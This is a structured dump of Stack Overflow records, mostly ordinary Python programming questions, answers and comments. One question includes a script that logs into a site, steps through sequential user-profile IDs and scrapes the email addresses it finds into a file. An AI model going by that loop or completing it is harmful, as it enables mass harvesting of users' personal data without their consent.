has text: oh no...such a basic error, that did it, thank you.
score: 1
comment on: http://stackoverflow.com/q/48803736

http://stackoverflow.com/q/48774235
type: AnsweredQuestion
has body: I would like to perform a simple calculation (2nd Choice - 1st Choice > 5) and return the rows were that calculation is True, but the columns in the calculation need to change based upon row values. Places A B C D E 1st Choice 2nd Choice Place 1 62 47 43 100 100 A B Place 2 64 60 77 100 A C Place 3 55 50 0 A B Place 4 62 54 100 50 A B Place 5 86 50 100 100 A C The first row would be False bc Col B - Col A = -15, but the second row would be True bc Col C - Col A = 13. I'm thinking it could be something like this: df[[df[df.column = df['2nd Choice']]-df[df.column = df['1st Choice']]]&gt;5] I have searched quite a bit, but am having a hard time figuring out how to use row values to match the column header in the calculation. Any help is appreciated!
has answer: http://stackoverflow.com/a/48774358
type: Question
downvote count: 0
accepted answer: http://stackoverflow.com/a/48774358
tagged with: pandas
answer count: 1
has title: Perform a calculation based upon row values
score: 1
favorite count: 0
upvote count: 1
tagged with: python

http://stackoverflow.com/comment/84402432
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48701842
has text: What do you mean by "not in a sentence"?

http://stackoverflow.com/comment/84417156
has text: Thank you @MadPhysicist for your comments. Indentation fixed.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48699529

http://stackoverflow.com/comment/84323454
comment on: http://stackoverflow.com/q/48661593
has text: This is great thanks, just getting into xml parsing now so really appreciate all the help. I did look at this, but obv not closely enough/I didn't understand. thanks.
type: Comment
score: 1
type: QuestionComment

http://stackoverflow.com/q/48663788
upvote count: 6
has answer: http://stackoverflow.com/a/48666968
tagged with: python-docx
has answer: http://stackoverflow.com/a/53762537
favorite count: 0
has body: In python-docx, the paragraph object has a method insert_paragraph_before that allows inserting text before itself: p.insert_paragraph_before("This is a text") There is no insert_paragraph_after method, but I suppose that a paragraph object knows sufficiently about itself to determine which paragraph is next in the list. Unfortunately, the inner workings of the python-docx AST are a little intricate (and not really documented). I wonder how to program a function with the following spec? def insert_paragraph_after(para, text):
type: UnansweredQuestion
score: 6
tagged with: python
answer count: 4
has answer: http://stackoverflow.com/a/48667772
downvote count: 0
type: Question
has answer: http://stackoverflow.com/a/78963360
has title: python-docx: Insert a paragraph after

http://stackoverflow.com/comment/102418853
type: Comment
comment on: http://stackoverflow.com/a/48799464
has text: I tried your code to load Keras model inside __init__ function so that it should load only once, but it is loading, again and again, each time I am hitting get or post method. Do you know the reason?
score: 0
type: AnswerComment

http://stackoverflow.com/comment/84563851
comment on: http://stackoverflow.com/a/48780646
score: 0
type: AnswerComment
type: Comment
has text: None work doesn't work. Please be specific what is not working! Are you saying you tried my method ?

http://stackoverflow.com/q/48701096
has title: Aws boto3 python script upload files to ec2
tagged with: boto3
tagged with: amazon-web-services
favorite count: 0
has body: What is the syntax for uploading files to ec2 via boto3 and download them? Tnx
answer count: 0
type: UnansweredQuestion
downvote count: 2
tagged with: python
score: 2
type: Question
upvote count: 4

http://stackoverflow.com/q/48801835
upvote count: 0
answer count: 1
favorite count: 0
tagged with: beautifulsoup
has answer: http://stackoverflow.com/a/48801966
accepted answer: http://stackoverflow.com/a/48801966
score: -3
tagged with: python
tagged with: dictionary
has title: Convert a dictionary with lists of differing lengths in dictionary to pandas DataFrame
type: AnsweredQuestion
downvote count: 3
tagged with: web-scraping
type: Question
has body: I'm retrieving a JSON by calling the OMDB API about a movie. I'm trying to add the JSON to another dictionary which is scraping information from here. Dict which has the scraped information has the structure: { 'movie_title': [], 'review_text': [], 'review_url': [], 'reviewed_by': [], 'score': [] } I'm dynamically adding keys to the dictionary with values as empty lists by looping over the response from the OMDB API, like so api_key = '' ombd_data = requests.get('http://www.omdbapi.com/?apikey=api_key'+'&amp;t=Basmati+Blues&amp;plot=full' omdb_json = json.loads(omdb_data).content for curr_key in omdb_json.keys(): movie_review_dict[curr_key] = [] The dict now has the structure { u'Actors': [], u'Awards': [], u'BoxOffice': [], u'Country': [], u'DVD': [], u'Director': [], u'Genre': [], u'Language': [], u'Metascore': [], u'Plot': [], u'Poster': [], u'Production': [], u'Rated': [], u'Ratings': [], u'Released': [], u'Response': [], u'Runtime': [], u'Title': [], u'Type': [], u'Website': [], u'Writer': [], u'Year': [], u'imdbID': [], u'imdbRating': [], u'imdbVotes': [], 'movie_title': [], 'review_text': [], 'review_url': [], 'reviewed_by': [], 'score': [] } I have a function which reads this URL, uses the BeautifulSoup module and adds elements to the dict. I'm also adding data from the OMBD response at the same time. def read_html_page(home_page='http://www.rogerebert.com/reviews'): movie_details = movie_review_dict result = requests.get(url=home_page) soup_obj = BeautifulSoup(result_content, 'html5lib') wrapper_class = soup_obj.find('div', id='review-list') for curr_movie_dom in wrapper_class.find_all('figure'): movie_title = curr_movie_dom.find('h5', class_='title').a.get_text() movie_critic = curr_movie_dom.find('p', class_='byline').get_text().strip() omdb_dict = get_omdb_data(movie_title=movie_title) for curr_key in omdb_dict.keys(): if curr_key in movie_details: movie_details[curr_key].append(omdb_dict[curr_key]) else: movie_details[curr_key] = [] movie_details[curr_k…
tagged with: pandas

http://stackoverflow.com/comment/84609997
has text: @Alastard, i have update my answer as per OP's requirement
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48801113

http://stackoverflow.com/comment/84549394
type: QuestionComment
has text: @ThinkTeamwork: you're welcome
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48773674

http://stackoverflow.com/q/48802963
type: Question
has title: Return value from other sheet within same workbook - pandas
tagged with: pandas
upvote count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84710616
favorite count: 0
tagged with: python-3.x
answer count: 0
has body: I would like to call and return a value from another sheet within the same workbook using Pandas. For calculations from the same sheet I can simply do this: df.loc[index, 'Ø Preis NOK\ngross']=f"=(D{index+2}+F{index+2})/2" In the excel workbook the formula for doing what I want is: =H2/'Rate+Tax'!$E$3 where Rate+Tax is the other sheet. However, when I do this I get an error when opening the excel file: df.loc[index, 'Ø price NOK\nnet']=f"=(H{index+2}/\'Rate+Tax\'!$E$3" Note: When saving the excel I would also like to see the formula when I click on the cell. I'm saving the excel file with openpyxl How can I easily fix this problem?
type: UnansweredQuestion
tagged with: openpyxl
tagged with: python
score: 1

http://stackoverflow.com/q/48766501
has answer: http://stackoverflow.com/a/48769147
answer count: 2
has body: I want to create a model (Source) with many-to-many relation to the another model (Tag) and create a Source objects without duplicating Tag instance in database. Here is my models: class Tag(models.Model): name = models.CharField(max_length=50, null=False, default='source') def __unicode__(self): return self.name class Source(models.Model): title = models.CharField(max_length=200) author = models.CharField(max_length=200) language = models.CharField(max_length=50) color = models.CharField(max_length=50, default='white') isFile = models.BooleanField(default=False) link = models.TextField(default='') file = models.FileField(upload_to='uploads/', null=True) tags = models.ManyToManyField('Tag') class Meta: ordering = ('title',) Here is my serializers: class TagSerializers(serializers.HyperlinkedModelSerializer): class Meta: model = Tag fields = ('name',) class SourceSerializers(serializers.ModelSerializer): tags = TagSerializers(many=True) class Meta: model = Source fields = ('title', 'author', 'language', 'color', 'isFile', 'link', 'file', 'tags') def create(self, validated_data): tags_data = validated_data.pop('tags') source = Source.objects.create(**validated_data) for tag in tags_data: t = Tag.objects.create() t.name = tag.get("name") t.save() source.tags.add(t) source.save() return source But when I try to create Source object via http request - the object is created, but without any references to Tags. After some researching I found that validated_data in create(self, validated_data) doesn't contains "tags" field, also I found that validate function of TagSerializer not invoked at any time. What I'm doing wrong?
downvote count: 0
score: 1
tagged with: django-rest-framework
favorite count: 0
tagged with: python
accepted answer: http://stackoverflow.com/a/48769147
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48767796
tagged with: django
upvote count: 1
type: Question
has title: Django many-to-many serialization
possible better answer: http://stackoverflow.com/a/48767796
has comment: http://stackoverflow.com/comment/84548099

http://stackoverflow.com/q/48764652
type: Question
score: 10
tagged with: pbs
accepted answer: http://stackoverflow.com/a/48780984
answer count: 1
downvote count: 0
favorite count: 0
has title: Python: PBS submission, what happens if I change script?
has body: I have a script job.bin for executing a code in python (pythoncode.py) on a cluster, submitting jobs via qsub. In job.bin: cd /path/to/my/python/code python pythoncode.py What happens if: a) while pythoncode.py is running, I change its content b) while pythoncode.py is held on queue, I change its content pythoncode.py contains some parameters that I can vary. In situations a) and b), will a change of any of these parameters affect the already begun or queuing run?
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48780984
tagged with: qsub
upvote count: 10

http://stackoverflow.com/comment/84349292
type: Comment
has text: added an answer, since it is too long for a comment.
comment on: http://stackoverflow.com/a/48674531
score: 0
type: AnswerComment

http://stackoverflow.com/q/48758593
type: UnansweredQuestion
has body: I'm designing a desktop application using tkinter for the GUI. The application generates some nested data structures that I want to render graphically as trees. For that, I'm using the ete3 package. However, when I render the trees into an image file, the menus in the tkinter root window get messed up. The tree is rendered correctly into the image. Here is a simplified version of the code, which has the same problem: from tkinter import * from tkinter import ttk, filedialog from ete3 import Tree root = Tk() root.geometry("300x300") menubar = Menu(root) root['menu'] = menubar file = Menu(menubar, tearoff=0) menubar.add_cascade(menu=file, label='File') file.add_command(label="Open") def plot(): direction = filedialog.asksaveasfilename(defaultextension=".jpg", filetypes=(("jpg file", "*.jpg"),)) tree = Tree("((a,b),c);") tree.render(direction) ttk.Button(root, text="Plot tree to file", command=plot).grid() root.mainloop() The application, before rendering the tree, looks like this: image1 And after rendering the tree: image2 Also, if I delete the tree.render(direction) line, the problem doesn't occur. Any ideas what might be causing this?
downvote count: 0
score: 1
type: Question
upvote count: 1
favorite count: 0
tagged with: ete3
has title: Rendering tree with ete3 package messes up menus in tkinter
tagged with: python
tagged with: python-3.x
tagged with: tkinter
answer count: 0

http://stackoverflow.com/comment/84472619
comment on: http://stackoverflow.com/q/48736150
type: Comment
type: QuestionComment
score: 0
has text: problem is coming from `cifar.pickle()` that shadows it..

http://stackoverflow.com/q/48665192
has comment: http://stackoverflow.com/comment/84328293
favorite count: 0
has comment: http://stackoverflow.com/comment/84327854
has answer: http://stackoverflow.com/a/48665411
type: UnansweredQuestion
tagged with: python
tagged with: attributeerror
has title: how to solve attribute error when all attributes do exist?
score: 1
type: Question
upvote count: 2
has body: I am writing a program for my A level course in python and i need to access an attribute from one class in to another using inheritance. here is an example of what I am trying to do. class class1(): def __init__(self): self.testValue = 'hello' class class2(class1): def __init__(self): self.inheritedValue = class1.testValue print(self.inheritedValue) object = class2() when running this code i get the following attribute error. AttributeError: type object 'class1' has no attribute 'testValue' anyone got a solution for this??
has comment: http://stackoverflow.com/comment/84327733
tagged with: inheritance
answer count: 2
downvote count: 1
has answer: http://stackoverflow.com/a/48665272

http://stackoverflow.com/comment/88493403
type: QuestionComment
comment on: http://stackoverflow.com/q/48647534
has text: similar to https://stackoverflow.com/q/20225110
score: 0
type: Comment

http://stackoverflow.com/q/48794561
type: UnansweredQuestion
downvote count: 2
has comment: http://stackoverflow.com/comment/84592798
type: Question
has comment: http://stackoverflow.com/comment/84591537
has comment: http://stackoverflow.com/comment/84591450
tagged with: split
score: -2
has title: Python iterate through list and re-split items into list
has answer: http://stackoverflow.com/a/48794632
has body: I have a list that with items that I would like to split again and add as new items in the list. For example given the below list: pre_songs = ['Totem', 'One, Two, Three', 'Rent', 'Vapors', 'Get Loud &gt; Inspire Strikes Back', 'Enceladus', 'Moon Socket', 'Out of This World &gt; Scheme', 'Walk to the Light', 'When The Dust Settles', 'Click Lang Echo'] I would like to take the "Get Loud > Inspire Strikes Back", and the "Out of This World > Scheme" Item and split them by the ">" and make "Get Loud", "Inspire Strikes Back", "Out of This World", and "Scheme" as separate items in the list. I tried using the code below but it doesn't work: pre_setlist = [] for song in pre_songs: if song.contains('&gt;'): pre_setlist.append(song.split('&gt;')) else: pre_setlist.append(song)
favorite count: 0
has answer: http://stackoverflow.com/a/48794861
tagged with: python
has answer: http://stackoverflow.com/a/48794846
answer count: 4
has comment: http://stackoverflow.com/comment/84591403
tagged with: python-3.x
upvote count: 0
tagged with: list
has answer: http://stackoverflow.com/a/48794630

http://stackoverflow.com/comment/84565827
type: QuestionComment
has text: @asimo - thanks, so my solution working nice.
comment on: http://stackoverflow.com/q/48782192
score: 0
type: Comment

http://stackoverflow.com/comment/84393916
type: AnswerComment
type: Comment
has text: I would add: if you know the size of your resulting `numpy` array, then instantiating an empty array, e.g. `np.zeros(n)`, beforehand and filling it is efficient.
score: 1
comment on: http://stackoverflow.com/a/48697498

http://stackoverflow.com/comment/84388398
score: 0
has text: So what should happen instead when `value_box` is none (not present in the HTML returned from the URL)?
type: Comment
comment on: http://stackoverflow.com/q/48694917
type: QuestionComment

http://stackoverflow.com/a/48799159
has body: By default sort_values() returns a new dataframe without modifying the original. You can either set the flag to True or assign the output back to the original dataframe. Try: df = df.sort_values(by=['time']) Or df.sort_values(by=['time'], inplace=True)
score: 2
accepted answer of: http://stackoverflow.com/q/48799055
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/48799055
upvote count: 2
type: Answer

http://stackoverflow.com/q/48763125
has comment: http://stackoverflow.com/comment/84526732
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/20136955
tagged with: python
has comment: http://stackoverflow.com/comment/84527030
duplicate of: http://stackoverflow.com/q/20136955
answer count: 0
has comment: http://stackoverflow.com/comment/84526846
has comment: http://stackoverflow.com/comment/84527119
downvote count: 2
has comment: http://stackoverflow.com/comment/84527088
has comment: http://stackoverflow.com/comment/84527021
type: Question
has body: i have trouble accessing a static member of a class. the simplest example of my use-case is: class A: _tmpl = '&lt;{}&gt;' print(_tmpl) VAR = tuple(_tmpl.format(var) for var in ('a', 'b')) this prints &lt;{}&gt; as it should from the print statement; but the line with the tuple raises the exception: NameError: name '_tmpl' is not defined what is happening here? how can i fix it (A._tmpl will not work either...).
has title: static variable: not defined inside other constructor
upvote count: 4
score: 2
tagged with: python-3.5
has comment: http://stackoverflow.com/comment/84527261
duplicate of: http://stackoverflow.com/q/13905741
has comment: http://stackoverflow.com/comment/84527736
has comment: http://stackoverflow.com/comment/84526777
has comment: http://stackoverflow.com/comment/84527156
has comment: http://stackoverflow.com/comment/84526926
favorite count: 0
tagged with: python-3.x
tagged with: python-internals

http://stackoverflow.com/a/48756069
has comment: http://stackoverflow.com/comment/84514674
score: 2
has comment: http://stackoverflow.com/comment/84515112
has comment: http://stackoverflow.com/comment/84514249
has body: For XML files, simply use the 'wb' argument in open() and consider context manager, with: with open(filename, 'wb') as doc: doc.write(etree.tostring(root, pretty_print = True)) As demonstration, below tests OP's routine with slight change to self variables with output in pretty print format: def exportAsXML(filename): fields = [ ('Realm', 'self.Realm'), ('ActiveState', 'self.ActiveState'), ('Name', 'self.Name'), ('Type', 'self.Type'), ('Level', 'self.Level'), ('Quality', 'self.Quality'), ('Bonus', 'self.Bonus'), ('AFDPS', 'self.AFDPS'), ('Speed', 'self.Speed'), ('Origin', 'self.Origin'), ('DamageType', 'self.DamageType'), ('LeftHand', 'self.LeftHand'), ('Requirement', 'self.Requirement'), ('Notes', 'self.Notes') ] root = etree.Element('Item') for key, value in fields: if value != '': etree.SubElement(root, key).text = value with open(filename, 'wb') as doc: doc.write(etree.tostring(root, pretty_print = True)) exportAsXML('Output.xml') Output self.Realm self.ActiveState self.Name self.Type self.Level self.Quality self.Bonus self.AFDPS self.Speed self.Origin self.DamageType self.LeftHand self.Requirement self.Notes
has comment: http://stackoverflow.com/comment/84618014
has comment: http://stackoverflow.com/comment/84622610
accepted answer of: http://stackoverflow.com/q/48755415
has comment: http://stackoverflow.com/comment/84626020
has comment: http://stackoverflow.com/comment/84623129
answers question: http://stackoverflow.com/q/48755415
has comment: http://stackoverflow.com/comment/84623925
has comment: http://stackoverflow.com/comment/84618295
has comment: http://stackoverflow.com/comment/84513354
has comment: http://stackoverflow.com/comment/84514526
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84583517
has comment: http://stackoverflow.com/comment/84615422
has comment: http://stackoverflow.com/comment/84514902
has comment: http://stackoverflow.com/comment/84623804
upvote count: 2
type: Answer
has comment: http://stackoverflow.com/comment/84514236

http://stackoverflow.com/comment/84599672
type: Comment
score: 1
comment on: http://stackoverflow.com/a/48798305
has text: As I understand it, the memory leak is only a problem if you create models in a loop. I only use a single model object in the test case.
type: AnswerComment

http://stackoverflow.com/q/48651438
tagged with: django
tagged with: python
type: AnsweredQuestion
tagged with: geodjango
score: 0
tagged with: gis
has answer: http://stackoverflow.com/a/48668243
type: Question
has body: i have a house model with these properties centerpoint = PointField(srid=0, null=True, blank=True) front_left = PointField(srid=0, null=True, blank=True) front_right = PointField(srid=0, null=True, blank=True) rear_left = PointField(srid=0, null=True, blank=True) rear_right = PointField(srid=0, null=True, blank=True) polygon = PolygonField(srid=0, null=True, blank=True) direction = FloatField(null=True, blank=True) # the direction this house faces, in degrees and i want to get the houses in front of a specific house... im having a hard time trying to use Distance and polygon__dwithin i need to get the ones that are touching and the ones that have relative direction of less than 160 degrees: for that i do: House.objects.filter(polygon__touches=house_instance.polygon, direction__lt=160) how can i modify this query to get the houses that are in front maximum one block and the ones that are one house away from my reference house? EDIT: so "facing direction" its actually the direction field that contains in degrees the direction the house is facing by the front door and this is an image of what i need in term of neighbors, my polygon field its the actual "area" of the house in points... sorry if my terminology is wacky im very new at this...
has title: geo Django: get the neighbors of a house
has comment: http://stackoverflow.com/comment/84319013
answer count: 1
accepted answer: http://stackoverflow.com/a/48668243
has comment: http://stackoverflow.com/comment/84333609
tagged with: geo
has comment: http://stackoverflow.com/comment/84318680
has comment: http://stackoverflow.com/comment/84334236

http://stackoverflow.com/q/48757154
has comment: http://stackoverflow.com/comment/84516429
answer count: 1
tagged with: python
favorite count: 0
score: 2
tagged with: seaborn
downvote count: 1
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/48757417
has body: The code below shows a graph with the numbers of values in my list: import seaborn as sns sns.countplot([0,1,2,3,1,2,1,3,2,1,2,1,3]) plt.show() I would like the same plot with percentages instead. Is there an easy option with seaborn or matplotlib?
upvote count: 3
tagged with: matplotlib
has title: Normalise with countplot()
accepted answer: http://stackoverflow.com/a/48757417
type: Question

http://stackoverflow.com/a/48676724
score: 2
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48676544
has body: import re text = '''your_text_here''' text = re.sub("Review Content :\s+", "Review Content : ", text) text = re.sub("Review Title : ", "\n\nReview Title : ", text) text = text.strip() print(text) Using re library makes it easier to operate on strings: the first sub replaces the chain of whitespace characters after "Review Content" with just 1 space. Thanks to that you have content in the same line as "Review Content" label the second sub adds 2 newline characters before "Review Title" labels strip() removes whitespaces from the beginning and end of string, which effectively removes two newline chars that were added right before the very first "Review Title" in the previous step
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48676544
upvote count: 2
type: Answer

http://stackoverflow.com/comment/84479745
type: QuestionComment
has text: https://github.com/trigger/trigger
comment on: http://stackoverflow.com/q/48739764
score: 0
type: Comment

http://stackoverflow.com/comment/112087621
type: Comment
has text: Thanks for an excellent explanation. If you include an example it would be even better. Or link to an example in the docs e.g.: https://www.tensorflow.org/api_docs/python/tf/keras/applications/xception/preprocess_input
type: AnswerComment
comment on: http://stackoverflow.com/a/48682691
score: 0

series
tag name: series
type: Tag
tags question: http://stackoverflow.com/q/48738795
tags question: http://stackoverflow.com/q/48667218
tags question: http://stackoverflow.com/q/48710492
tags question: http://stackoverflow.com/q/48713498
tags question: http://stackoverflow.com/q/48745150

http://stackoverflow.com/comment/84413709
has text: @user32185 perhaps. In any case, a solution should be accepted if it answers - it can always be changed if something better comes along. I only make these comments to people with little rep, since they often confuse up-voting with accepting, or forget to accept (speaking from experience).
type: Comment
comment on: http://stackoverflow.com/a/48705291
type: AnswerComment
score: 2

http://stackoverflow.com/a/48769512
type: AcceptedAnswer
downvote count: 0
type: Answer
score: 2
upvote count: 2
has body: You can't change the default options without overriding the method, but a viable workaround would be simply defining a variable for that customization and simply pass that to the widgets that use it: try: # In order to be able to import tkinter for import tkinter as tk # either in python 2 or in python 3 except ImportError: import Tkinter as tk if __name__ == '__main__': root = tk.Tk() customization = dict(relx=0.5, rely=0.5, anchor='center') my_list_of_widgets = list() for i in range(30): my_list_of_widgets.append(tk.Label(root, text=i)) my_list_of_widgets[i].place(**customization) tk.mainloop()
answers question: http://stackoverflow.com/q/48768198
accepted answer of: http://stackoverflow.com/q/48768198

http://stackoverflow.com/q/48671760
type: Question
score: 0
answer count: 1
tagged with: python
has answer: http://stackoverflow.com/a/48685888
accepted answer: http://stackoverflow.com/a/48685888
type: AnsweredQuestion
has title: Python function returning a weird string
has comment: http://stackoverflow.com/comment/84341917
has body: I've been working through a book called Exercises for Programmers as I am trying to learn Python. https://pragprog.com/book/bhwb/exercises-for-programmers At exercise 8 I ran into some trouble; I am meant to write code that prompts for how many people wanna order pizza, how many slices each and then it must calculate how many pizzas must be ordered (1 pizza = 8 slices) according to the total number of slices (persons * slices each) and the number of leftover slices (if there are any). I think I've managed to suss it out except that once executed the method that calculates the number of leftover slices prints a weird string (it also contains a hex value?). I've modulated everything into two files (trying to build good habits); file 01: main.py import pizza as p while True: number_of_people = input("How many people are hungry for pizza? ") number_of_slices_per_person = input("And how many slices per person? ") try: val = int(number_of_people) or int(number_of_slices_per_person) print("\n" + number_of_people + " people have ordered " + str(p.number_of_pizzas(number_of_people, number_of_slices_per_person)) + " pizzas.") if int(number_of_slices_per_person) == 1: print("Each person would like just a " + number_of_slices_per_person + " slice of pizza.") else: print("Each person would like " + number_of_slices_per_person + " slices of pizza.") print("There are " + str(p.number_of_leftover_slices) + " pizza slices left over.") break except ValueError: print("Please enter a valid number") file 02: pizza.py def number_of_pizzas(p1, s1): """Calculates the number of pizzas according to the specified requirements""" total_pizzas = 0 total_slices = int(p1) * int(s1) for s2 in range(0, total_slices): if s2 % 8 == 0: total_pizzas = total_pizzas + 1 return total_pizzas def number_of_leftover_slices(total_pizzas): """Calculate the number of leftover slices of pizza""" import main as m total_pizzas = total_pizzas leftover_slices = (int(total_pizzas) * 8) % int(m.number_of_slices_per_pe…

http://stackoverflow.com/comment/84593154
score: 0
has text: Welcome to StackOverflow. Please read and follow the posting guidelines in the help documentation. [Minimal, complete, verifiable example](http://stackoverflow.com/help/mcve) applies here. We cannot effectively help you until you post your MCVE code and accurately describe the problem. We should be able to paste your posted code into a text file and reproduce the problem you described.
type: Comment
comment on: http://stackoverflow.com/q/48795388
type: QuestionComment

http://stackoverflow.com/q/48752248
tagged with: algorithm
has comment: http://stackoverflow.com/comment/84505494
tagged with: numpy
upvote count: 1
downvote count: 0
has title: Vectorized addition of vectors with sparse differences
favorite count: 0
has comment: http://stackoverflow.com/comment/84506749
tagged with: python
tagged with: vectorization
has comment: http://stackoverflow.com/comment/84510964
answer count: 0
type: UnansweredQuestion
score: 1
has body: I represent vectors with a lot of repeated elements by a index-vector and a value vector so that the index-vector contains the indices of value-changes in the vector and the value-vector contains the value at those indices. For instance: [1, 1, 1, 7, 7, 4, 4] is represented by index-vector [0, 3, 5] and value-vector [1, 7, 4]. I have an algorithm for adding two such vectors, but it feels like it should be possible to do it in a cleaner and faster way. Are there any better ways to do this in python/numpy? The current algorithm combines the diffs of the two arrays and does a cumsum in the end. But this requires alot of cleanup to make sure the there aren't any duplicated index-entries, and no consecutive equal values. import numpy as np class SparseVector: def __init__(self, indices, values, sanitize=False): self._indices = np.asanyarray(indices) self._values = np.asanyarray(values) if sanitize: self._sanitize() def __add__(self, other): all_indices = np.r_[self._indices, other._indices] args = np.argsort(all_indices, kind='mergesort') diffs = np.r_[self._values[0], np.diff(self._values), other._values[0], np.diff(other._values)] diffs = diffs[args] return self.__class__(all_indices[args], np.cumsum(diffs), True) def _sanitize(self): # Remove duplicate indexes index_diffs = np.ediff1d(self._indices, to_end=1) changes = index_diffs != 0 self._indices = self._indices[changes] self._values = self._values[changes] # Remove duplicated values value_diffs = np.ediff1d(self._values, to_begin=1) changes = value_diffs != 0 self._indices = self._indices[changes] self._values = self._values[changes] def __eq__(self, other): return np.all(self._indices == other._indices)\ and np.all(self._values == other._values) a = SparseVector([0, 1, 3, 5, 7, 10], [0, 10, 5, 8, 10, 11]) b = SparseVector([0, 2, 3, 6, 9, 10], [3, 2, 9, 7, 11, 10]) assert a+b == SparseVector([0, 1, 2, 3, 5, 6, 7, 9], [3, 13, 12, 14, 17, 15, 17, 21])
type: Question

http://stackoverflow.com/comment/84598002
has text: It sounds like your problem is independent of the GUI. If so, then get that code out of your posting (this is part of the MCVE process). You're not clear about the correspondence between your variable names and the noun phrases you use; without a self-consistent example, it's hard to figure out what you're trying to do, since your words keep changing focus.
score: 0
comment on: http://stackoverflow.com/q/48797564
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84378606
has text: You're welcome! Remember to accept the answer if it solved your problem, so future searchers have a better idea what works.
comment on: http://stackoverflow.com/a/48673037
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/84603822
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48800202
type: AnswerComment
has text: For example, i need to do 1000 edits in Wikipedia. My script is doing find and replace task. If it stops, after 10 minutes, i can check those completed pages. Then i can change the code re-run.

http://stackoverflow.com/comment/84369735
type: QuestionComment
has text: The newline in stdin might not be getting consumed, so `input` takes it without waiting for actual input. See [here](https://stackoverflow.com/questions/2520893/how-to-flush-the-input-stream-in-python) for how to flush it.
comment on: http://stackoverflow.com/q/48686080
score: 0
type: Comment

http://stackoverflow.com/comment/84416129
type: Comment
score: 2
comment on: http://stackoverflow.com/a/48708617
type: AnswerComment
has text: perfect use of `sum(map(int,open('file1', 'rU')))`. only default is that you don't know when the file will be closed.

http://stackoverflow.com/q/48672819
tagged with: exe
has title: create and run saves from python program which was converted to .exe
upvote count: 0
type: UnansweredQuestion
tagged with: save
type: Question
score: -2
downvote count: 2
has body: I have a python program that was converted to exe file for distribution. User can make a save. So the save file "NewSave" appears, it has some data. By double clicking this "NewSave", it should call the main exe file and pass data into it and run it. What is the appropriate way to do it? How to make a save (like in Photoshop, of MSOffice or whatever), so that by clicking this save the main program would be started with the data from the save. I have no experience at coding beyond python, so i even can't imagine how it can be done. Thanks for help in advance! To summarize: How do I pass the filepath of a double-clicked file to my python script?
answer count: 1
tagged with: user-interface
favorite count: 0
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48673159
tagged with: python

http://stackoverflow.com/q/48716392
favorite count: 0
upvote count: 5
tagged with: vps
tagged with: python
type: AnsweredQuestion
has title: Start multiple rq worker processes easily ― Horizontal scaling
type: Question
tagged with: horizontal-scaling
score: 4
tagged with: worker
has body: How can I create a large number of rq worker processes in a VPS easily? Right now I'm manually opening a terminal and running python3 worker.py in it, and then repeating this until I get a satisfying number of worker instances running. I know this is not a scalable solution, so how can I do it automatically and easily. It'd be nice if there were some tool which facilitates this process.
has answer: http://stackoverflow.com/a/49713661
accepted answer: http://stackoverflow.com/a/49713661
answer count: 1
downvote count: 1

struct
tags question: http://stackoverflow.com/q/48721079
type: Tag
tag name: struct
tags question: http://stackoverflow.com/q/48732705

http://stackoverflow.com/a/48790819
type: Answer
has body: There is no way to set the region or the storage class through the python API. I recommend creating a feature request for this.
score: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48728491
answers question: http://stackoverflow.com/q/48728491

http://stackoverflow.com/q/48739200
has title: Key repeat in browser from python code
has comment: http://stackoverflow.com/comment/84478197
score: 0
tagged with: macos
tagged with: python-3.x
tagged with: keyboard-events
has comment: http://stackoverflow.com/comment/84478048
tagged with: python
has comment: http://stackoverflow.com/comment/84478303
answer count: 0
type: UnansweredQuestion
has body: Note : I am pretty surprised I did not see that same question on this forum, if I missed it please link in comment :) I am writing a bot in python that would eventually be able to play a browser-based video game (HTML5 canvas game, not Flash). In order to do that I need to simulate the keyboard events from the python code. I thought pyautogui would do the work, but unfortunately it seems the only way to repeat a key is to do pyautogui.press(key) in a loop, and it is not good at all for playing games as the move is not smooth at all. I found some solutions for Windows, but I need a solution for macOSX.
type: Question

http://stackoverflow.com/comment/84343166
has text: @roganjosh you're right, I want to get out of that loop if I find the keyword :)
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/48672449

http://stackoverflow.com/q/48692796
has body: My code: cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) nr=85365 login_data = urllib.urlencode({'username' : username, 'password' : password}) nrs = urllib.urlencode({'id' : nr}) opener.open('http://ddddd/takelogin.php', login_data) while True: resp = opener.open('http://ddd/userdetails.php?id=' + str(nr)) s=resp.read() ss=re.findall(r"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}",s) file = open("cookies.txt","a") file.write(ss +"\n") #time.sleep(10) print nr nr+=1 i want to save email from output. i have this error, i use python 2.7 file.write(ss +"\n") TypeError: can only concatenate list (not "str") to list
score: -2
answer count: 1
tagged with: string
favorite count: 0
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/84384083
has answer: http://stackoverflow.com/a/48721538
upvote count: 0
has title: Python 2.7 - Can only concatenate list (not "str") to list
type: UnansweredQuestion
downvote count: 2
tagged with: python
has comment: http://stackoverflow.com/comment/84385876
has comment: http://stackoverflow.com/comment/84384199
type: Question

http://stackoverflow.com/q/48727818
has comment: http://stackoverflow.com/comment/84460696
tagged with: python-requests
has title: SSL error with python request session
tagged with: urllib
type: Question
has comment: http://stackoverflow.com/comment/84461132
has comment: http://stackoverflow.com/comment/84461497
has comment: http://stackoverflow.com/comment/84461799
has comment: http://stackoverflow.com/comment/84461898
tagged with: ssl
has comment: http://stackoverflow.com/comment/84456430
linked to: http://stackoverflow.com/q/45478536
has comment: http://stackoverflow.com/comment/84461316
has comment: http://stackoverflow.com/comment/84461007
score: 0
